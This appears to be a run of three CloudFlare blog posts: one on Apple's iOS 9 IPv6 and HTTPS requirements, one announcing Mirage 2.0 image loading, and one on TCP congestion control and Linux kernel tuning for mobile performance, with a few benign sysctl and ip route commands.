Thousands of developers use CloudFlare to accelerate and secure the backend of their mobile applications and websites. This week is Apple’s Worldwide Developers Conference (WWDC), where thousands of Apple developers come to San Francisco to talk, learn and share best practices for developing software for Apple platforms. New announcements from Apple this week make CloudFlare an even more obvious choice for application developers.

The flagship announcement of WWDC 2015 was a new version of Apple’s mobile operating system, iOS 9, to be released in September with a developer preview available now. They also announced a new Mac operating system, OS X El Capitan, launching in the fall. Apple has a track record of developing and supporting technologies that enhance user privacy and security with iMessage and Facetime and the trend is continuing with these new operating systems. In both cases, Apple is requiring application developers to make use of two network technologies that CloudFlare is big fan of: HTTPS and IPv6.

For iOS 9 and El Capitan, all applications submitted to the iOS and Mac App Stores must work over IPv6. In previous versions, applications were allowed that only worked with IPv4.

From [Sebastien Marineau, Apple’s VP of Core OS](https://developer.apple.com/v219 commitsideos/wwdc/2015/?id=102): "Because IPv6 support is so critical to ensuring your applications work across the world for every customer, we are making it an AppStore submission requirement, starting with iOS 9."

By default, all network connections in third party applications compiled for on iOS 9 and El Capitan use a new feature called App Transport Security. This feature forces the application to connect to backend APIs and the web via HTTPS. Plain unencrypted HTTP requests are disallowed unless the developer specifically modifies a configuration file to allow it.

From the iOS 9 developer documentation: "If you're developing a new app, you should use HTTPS exclusively. If you have an existing app, you should use HTTPS as much as you can right now, and create a plan for migrating the rest of your app as soon as possible."

What does this mean for application developers? If your application has a web backend component, you will need to update the backend to support these protocols. This can be difficult to do since not all hosting providers support IPv6, and HTTPS certificates can be tricky to obtain and difficult to configure correctly, not to mention maintain.

One of the best things CloudFlare does well is to take modern network protocols and make them affordable (or free) and accessible to everyone. Every CloudFlare-backed website and API backend has support for both IPv6 and HTTPS automatically, and with no configuration necessary.

With Universal SSL, this is now true even for customers on CloudFlare’s free plan. We also make sure your HTTPS configuration is the latest and greatest with TLS 1.2 support and Forward secrecy.

CloudFlare provides its Automatic IPv6 Gateway for free to all CloudFlare users. This makes any content or API required by an Apple iOS app instantly available using IPv4 and IPv6 independent of the inability of your hosting provider to supply IPv6 support. More information about CloudFlare’s IPv6 support can be found here.

Not only does CloudFlare help keep application service components up to date with the latest Apple requirements, it provides the performance benefits of a globally distributed network and protection against malicious attacks.

If you’re an iOS developer looking to upgrade your application backend to meet Apple’s new requirements, you can sign up for CloudFlare here.

To verify that IPv6 is enabled, open your DNS settings and ensure that the IPv6 toggle is on:

CloudFlare offers HTTPS to the backend, so if you already have HTTPS, you can keep full end-to-end encryption with CloudFlare’s Strict SSL mode. If your backend doesn’t support HTTPS, you can select the Flexible mode to encrypt the communication between your App and CloudFlare. These setting are available in your Crypto settings:

CloudFlare and iOS 9 were made for each other.

P.S.: We provide the same service to Android apps as well.

Almost exactly a year ago, CloudFlare announced a feature called Mirage. Mirage was designed to make the loading of images faster in two primary ways: 1) deliver smaller images for devices with smaller screens; and 2) "lazy load" images only when they appeared in the viewport. Both of these optimizations were designed primarily to accelerate web performance on mobile devices.

Mobile devices present a number of challenges to delivering fast web performance. Because they rely on radio networks, the bandwidth to a mobile phone or tablet is often slow. However, the problem isn't limited to just slow bandwidth. Mobile connections are much more likely to experience "loss." To optimize for mobile performance you need to prioritize the most important data and download it first and you need to minimize the number of individual connections in order to limit the impact of packet loss.

The first version of Mirage was designed to accomplish these goals, but it was relatively naive in the way that it did it. We would store multiple versions of images, which make up the bulk of the data transferred for most websites, and then attempt to deliver the one that best matched the screen size. The problem was that the new versions of the images often weren't perfectly matched for the layout of the page or the size of the screen, especially if the page relied on the image's actual dimensions rather than including dimensions in the tag.

For the last year, we've studied sites using Mirage and taken what we've learned to refine and improve every aspect of the feature. Today we're excited to announce Mirage 2.0 which is designed from the ground up to solve the mobile browsing speed challenge.

Mirage 2.0 starts with the idea of image virtualization. When CloudFlare caches an image on our network for a site with Mirage 2.0 enabled, we store two versions. The first version is the full-resolution image, the second is a virtualized image that includes meta data about all the full-resolution image's dimensions but with the image itself is massively reduced in size. The reduced sized version typically as little as 1% the size of the full-resolution image.

If you enable Mirage 2.0, CloudFlare's network modifies the image tags on your page on the fly so they can be loaded by the Virtualized Image Packager ("VIP"). In parallel with the HTML of your page loading, the Mirage 2.0 VIP begins downloading the virtualized images that appear on the page. The VIP will virtualize images served from your own domain as well as images served from third party domains (e.g., Flickr or Imgur). Because the virtualized images have the full-resolution image's dimensions embedded as meta data, the VIP is able to place the images into the browser's DOM correctly sized so the browser can almost immediately begin the process of rendering the page.

Rather than initiating a new request for each image, the VIP is able to stream all the images from CloudFlare's network with a single request. This uses the same mechanism we created for Rocket Loader, our Javascript performance accelerator. This means that even a page with hundreds of images can begin rendering in the browser with as few as two requests. Even users on slow mobile connections can begin interacting with the page immediately, rather than having to wait for all the full-resolution images to load.

After the page is rendered with the virtualized images, the VIP begins to replace them with the full-resolution versions. Since the images are already correctly sized for their tags on the page, the browser does not need to reflow the page as the full-resolution versions are loaded. The VIP prioritizes what full-resolution images to load first based on what images are in the browser's viewport. Visually, images appear to "rez" in, starting as low quality and then coming into sharp focus, similar to how a progressive JPEGs load in a browser.

While you can enable CloudFlare features such as Polish in order to optimize your images, by default Mirage 2.0 does not transcode or otherwise alter the original full-resolution images. The VIP will pull third party content directly from the original servers without passing through CloudFlare's network -- unless, of course, the third part is also using CloudFlare.

With Mirage 2.0, we've also completely rethought how we detect different browsers and respond to their capabilities. Mirage 2.0 is optimized to be more or less aggressive depending on the capabilities of the browser as well as its connection to the Internet. An iPhone connecting to the web over a wifi network is optimized for different loading priorities than the same device connecting over a cellular network. We even detect the different download speeds of cellular networks from LTE to 3G to Edge and optimize for each connection speed appropriately.

Mirage 2.0 gathers real browsing intelligence from all its connections which we then use to further optimize the VIP's performance. As more sites enable Mirage 2.0 the CloudFlare's systems automatically begins to optimize for the fastest possible browsing experience from any device on any network. In other words, the same way we use data about security threats in order to protect the sites on our network, we are now using data about real user's browsers around the world in order to ensure everyone on the CloudFlare network has the fastest possible site.

We've been testing Mirage 2.0 on some of our most image heavy sites that get significant traffic from mobile browsers. The reaction has been terrific: "As one of the largest image sharing sites in the world, speed has always been really important to us," explained Alan Schaaf, founder and CEO of Imgur. "We've invested a lot of time into getting images to load as fast as possible over mobile networks, especially since we've been developing our mobile app, and we've seen great improvements with Mirage 2.0. We're really happy that CloudFlare continues to launch innovative products to ensure pages on Imgur.com load as fast as possible."

You can see Mirage 2.0 in action for yourself in the following video:

Mirage 2.0 is currently in beta and will be made available over the next few weeks to all paid Cloudflare accounts, including our lowest level PRO accounts which are priced at only $20/month. Mirage 2.0 will fully replace the original version of Mirage in the following months and users with the old Mirage enabled will be upgraded to the newer, better version. Given the importance of mobile browsing, and the massive performance benefit Mirage 2.0 delivers with a single click, we think it is one of the most compelling features we've ever offered. Give it a try and let us know what you think.

We spend a lot of time at CloudFlare thinking about how to make the Internet fast on mobile devices. Currently there are over 1.2 billion active mobile users and that number is growing rapidly. Earlier this year mobile Internet access passed fixed Internet access in India and that's likely to be repeated the world over. So, mobile network performance will only become more and more important.

Most of the focus today on improving mobile performance is on Layer 7 with front end optimizations (FEO). At CloudFlare, we've done significant work in this area with front end optimization technologies like Rocket Loader, Mirage, and Polish that dynamicall modify web content to make it load quickly whatever device is being used. However, while FEO is important to make mobile fast, the unique characteristics of mobile networks also means we have to pay attention to the underlying performance of the technologies down at Layer 4 of the network stack.

This article is about the challenges mobile devices present, how the default TCP configuration is ill-suited for optimal mobile performance, and what you can do to improve performance for visitors connecting via mobile networks. Before diving into the details, a quick technical note. At CloudFlare, we've build most of our systems on top of a custom version of Linux so, while the underlying technologies can apply to other operating systems, the examples I'll use are from Linux.

To understand the challenges of mobile network performance at Layer 4 of the networking stack you need to understand TCP Congestion Control. TCP Congestion Control is the gatekeeper that determines how to control the flow of packets from your server to your clients. Its goal is to prevent Internet congestion by detecting when congestion occurs and slowing down the rate data is transmitted. This helps ensure that the Internet is available to everyone, but can cause problems on mobile network when TCP mistakes mobile network problems for congestion.

TCP Congestion Control holds back the floodgates if it detects congestion (i.e. packet loss) on the remote end. A network is, inherently, a shared resource. The purpose of TCP Congestion Control was to ensure that every device on the network cooperates to not overwhelm its resource. On a wired network, if packet loss is detected it is a fairly reliable indicator that a port along the connection is overburdened. What is typically going on in these cases is that a memory buffer in a switch somewhere has filled beyond its capacity because packets are coming in faster than they can be sent out and data is being discarded. TCP Congestion Control on clients and servers is setup to "back off" in these cases in order to ensure that the network remains available for all its users.

But figuring out what packet loss means on a mobile network is a different matter. Radio networks are inherently susceptible to interference which results in packet loss. If packets are being dropped does that mean a switch is overburdened, like we can infer on a wired network? Or did someone travel from an undersubscribed wireless cell to an oversubscribed one? Or did someone just turn on a microwave? Or maybe it was just a random solar flare? Since it's not as clear what packet loss means on a mobile network, it's not clear what action a TCP Congestion Control algorithm should take.

To optimize networks for lossy networks like those on mobile networks, it's important to understand exactly how TCP Congestion Control algorithms are designed. While the high level concept makes sense, the details of TCP Congestion Control are not widely understood by most people working in the web performance industry. That said, it is an important core part of what makes the Internet reliable and the subject of very active research and development.

To understand how TCP Congestion Control algorithms work, imagine the following analogy. Think of your web server as your local water utility plant. You've built on a large network of pipes in your hometown and you need to guarantee that each pipe is as pressurized as possible for delivery, but you don't want to burst the pipes. (Note: I recognize the late Senator Ted Stevens got a lot of flack for describing the Internet as a "series of tubes," but the metaphor is surprisingly accurate.)

Your client, Crazy Arty, runs a local water bottling plant that connects to your pipe network. Crazy Arty's infrastructure is built on old pipes that are leaky and brittle. For you to get water to them without bursting his pipes, you need to infer the capability of Crazy Arty's system. If you don't know in advance then you do a test — you send a known amount of water to the line and then measure the pressure. If the pressure is suddenly lost then you can infer that you broke a pipe. If not, then that level is likely safe and you can add more water pressure and repeat the test. You can iterate this test until you burst a pipe, see the drop in pressure, write down the maximum water volume, and going forward ensure you never exceed it.

Imagine, however, that there's some exogenous factor that could decrease the pressure in the pipe without actually indicating a pipe had burst. What if, for example, Crazy Arty ran a pump that he only turned on randomly from time to time and you didn't know about. If the only signal you have is observing a loss in pressure, you'd have no way of knowing whether you'd burst a pipe or if Crazy Arty had just plugged in the pump. The effect would be that you'd likely record a pressure level much less than the amount the pipes could actually withstand — leading to all your customers on the network potentially having lower water pressure than they should.

If you've been following up to this point then you already know more about TCP Congestion Control than you would guess. The initial amount of water we talked about in TCP is known as the Initial Congestion Window (initcwnd) it is the initial number of packets in flight across the network. The congestion window (cwnd) either shrinks, grows, or stays the same depending on how many packets make it back and how fast (in ACK trains) they return after the initial burst. In essence, TCP Congestion Control is just like the water utility — measuring the pressure anetwork can withstand and then adjusting the volume in an attempt to maximize flow without bursting any pipes.

When a TCP connection is first established it attempts to ramp up the cwnd quickly. This phase of the connection, where TCP grows the cwnd rapidly, is called Slow Start. That's a bit of a misnomer since it is generally an exponential growth function which is quite fast and aggressive. Just like when the water utility in the example above detects a drop in pressure it turns down the volume of water, when TCP detects packets are lost it reduces the size of the cwnd and delays the time before another burst of packets is delivered. The time between packet bursts is known as the Retransmission Timeout (RTO). Thealgorithm within TCP that controls these processes is called the Congestion Control Algorithm. There are many congestion control algorithms and clients and servers can use different strategies based in the characteristics of their networks. Most of Congestion Control Algorithms focus on optimizing for one type of network loss or another: congestive loss (like you see on wired networks) or random loss (like you see on mobile networks).

In the example above, a pipe bursting would be an indication of congestive loss. There was a physical limit to the pipes, it is exceeded, and the appropriate response is to back off. On the other hand, Crazy Arty's pump is analogous to random loss. The capacity is still available on the network and only a temporary disturbance causes the water utility to see the pipes as overfull. The Internet started as a network of wired devices, and, as its name suggests, congestion control was largely designed to optimize for congestive loss. As a result, the default Congestion Control Algorithm in many operating systems is good for communicating wired networks but not as good for communicating with mobile networks.

A few Congestion Control algorithms try to bridge the gap by using the time of the delay in the "pressure increase" to "expected capacity" to figure out the cause of the loss. These are known as bandwidth estimation algorithms, and examples include Vegas,Veno and Westwood+. Unfortunately, all of these methods are reactive and reuse no information across two similar streams.

At companies that see a significant amount of network traffic, like CloudFlare or Google, it is possible to map the characteristics of the Internet's networks and choose a specific congestion control algorithm in order to maximize performance for that network. Unfortunately, unless you are seeing the large amounts of traffic as we do and can record data on network performance, the ability to instrument your congestion control or build a "weather forecast" is usually impossible. Fortunately, there are still several things you can do to make your server more responsive to visitors even when they're coming from lossy, mobile devices.

The Linux network stack has been under extensive development to bring about some sensible defaults and mechanisms for dealing with the network topology of 2012. A mixed network of high bandwidth low latency and high bandwidth, high latency, lossy connections was never fully anticipated by the kernel developers of 2009 and if you check your server's kernel version chances are it's running a 2.6.32.x kernel from that era.

uname -a

There are a number of reasons that if you're running an old kernel on your web server and want to increase web performance, especially for mobile devices, you should investigate upgrading. To begin, Linux 2.6.38 bumps the default initcwnd and initrwnd (inital receive window) from 3to 10. This is an easy, big win. It allows for 14.2KB (vs 5.7KB) of data to be sent or received in the initial round trip before slow start grows the cwnd further. This is important for HTTP and SSL because it gives you more room to fit the header in the initial set of packets. If you are running an older kernel you may be able to run the following command on a bash shell (use caution) to set all of your routes' initcwnd and initrwnd to 10. On average, this small change can be one of the biggest boosts when you're trying to maximize web performance.

ip route | while read p; do ip route change $p initcwnd 10 initrwnd 10; done

Linux kernel 3.2 implements Proportional Rate Reduction (PRR). PRR decreases the time it takes for a lossy connection to recover its full speed, potentially improving HTTP response times by 3-10%. The benefits of PRR are significant for mobile networks. To understand why, it's worth diving back into the details of how previous congestioncontrol strategies interacted with loss.

Many congestion control algorithms halve the cwnd when a loss is detected. When multiple losses occur this can result in a case where the cwnd is lower than the slow start threshold. Unfortunately, the connection never goes through slow start again. The result is that a few network interruptions can result in TCP slowing to a crawl for all the connections in the session.

This is even more deadly when combined with tcp_no_metrics_save=0 sysctl setting on unpatched kernels before 3.2. This setting will save data on connections and attempt to use it to optimize the network. Unfortunately, this can actually make performance worse because TCP will apply the exception case to every new connection from a client within a window of a few minutes. In other words, in some cases, one person surfing your site from a mobile phone who has some random packet loss can reduce your server's performance to this visitor even when their temporary loss has cleared.

If you expect your visitors to be coming from mobile, lossy connections and you cannot upgrade or patch your kernel I recommend setting tcp_no_metrics_save=1. If you're comfortable doing some hacking, you can patch older kernels.

The good news is that Linux 3.2 implements PRR, which decreases the amount of time that a lossy connection will impact TCP performance. If you can upgrade, it may be one of the most significant things you can do in order to increase your web performance.

Linux 3.2 also has another important improvement with RFC2099bis. The initial Retransmission Timeout (initRTO) has been changed to 1s from 3s. If loss happens after sending the initcwnd two seconds waiting time are saved when trying to resend the data. With TCP streams being so short this can have a very noticeable improvement if a connection experiences loss at the beginning of the stream. Like the PRR patch this can also be applied (with modification) to older kernels if for some reason you cannot upgrade (here's the patch).

Looking forward, Linux 3.3 has Byte Queue Limits when teamed with CoDel (controlled delay) in the 3.5 kernel helps fight the long standing issue ofBufferbloat by intelligently managing packet queues. Bufferbloat is when the caching overhead on TCP becomes inefficient because it's littered with stale data. Linux 3.3 has features to auto QoS important packets (SYN/DNS/ARP/etc.,) keep down buffer queues thereby reducing bufferbloat and improving latency on loaded servers.

Linux 3.5 implements TCP Early Retransmit with some safeguards for connections that have a small amount of packet reordering. This allows connections, under certain conditions, to trigger fast retransmit and bypass the costly Retransmission Timeout (RTO) mentioned earlier. By default it is enabled in the failsafe mode tcp_early_retrans=2. If for some reason you are sure your clients have loss but no reordering then you could set tcp_early_retrans=1 to save one quarter a RTT on recovery.

One of the most extensive changes to 3.6 that hasn't got much press is the removal of the IPv4 routing cache. In a nutshell it was an extraneous caching layer in the kernel that mapped interfaces to routes to IPs and saved a lookup to the Forward Information Base (FIB). The FIB is a routing table within the network stack. The IPv4 routing cache was intended to eliminate a FIB lookup and increase performance. While a good idea in principle, unfortunately it provided a very small performance boost in less than 10% of connections. In the 3.2.x-3.5.x kernels it was extremely vulnerable to certain DDoS techniques so it has been removed.

Finally, one important setting you should check, regardless of the Linux kernel you are running: tcp_slow_start_after_idle. If you're concerned about web performance, it has been proclaimed sysctl setting of the year. It can be enabled in almost any kernel. By default this is set to 1 which will aggressively reduce cwnd on idle connections and negatively impact any long lived connections such as SSL. The following command will set it to 0 and can significantly improve performance:

sysctl -w tcp_slow_start_after_idle=0

You may be curious as to why I haven't made a recommendation as far as a quick and easy change of congestion control algorithms. Since Linux 2.6.19, the default congestion control algorithm in the Linux kernel is CUBIC, which is time based and optimized for high speed and high latency networks. It's killer feature, known as called Hybrid Slow Start (HyStart), allows it to safely exit slow start by measuring the ACK trains and not overshoot the cwnd. It can improve startup throughput by up to 200-300%.

While other Congestion Control Algorithms may seem like performance wins on connections experiencing high amounts of loss (>.1%) (e.g., TCP Westwood+ or Hybla), unfortunately these algorithms don't include HyStart. The net effect is that, in our tests, they underperform CUBIC for general network performance. Unless a majority of your clients are on lossy connections, I recommend staying with CUBIC.

Of course the real answer here is to dynamically swap out congestion control algorithms based on historical data to better serve these edge cases. Unfortunately, that is difficult for the average web server unless you're seeing a very high volume of traffic and are able to record and analyze network characteristics across multiple connections. The good news is that loss predictors and hybrid congestion control algorithms are continuing to mature, so maybe we will have an answer in an upcoming kernel.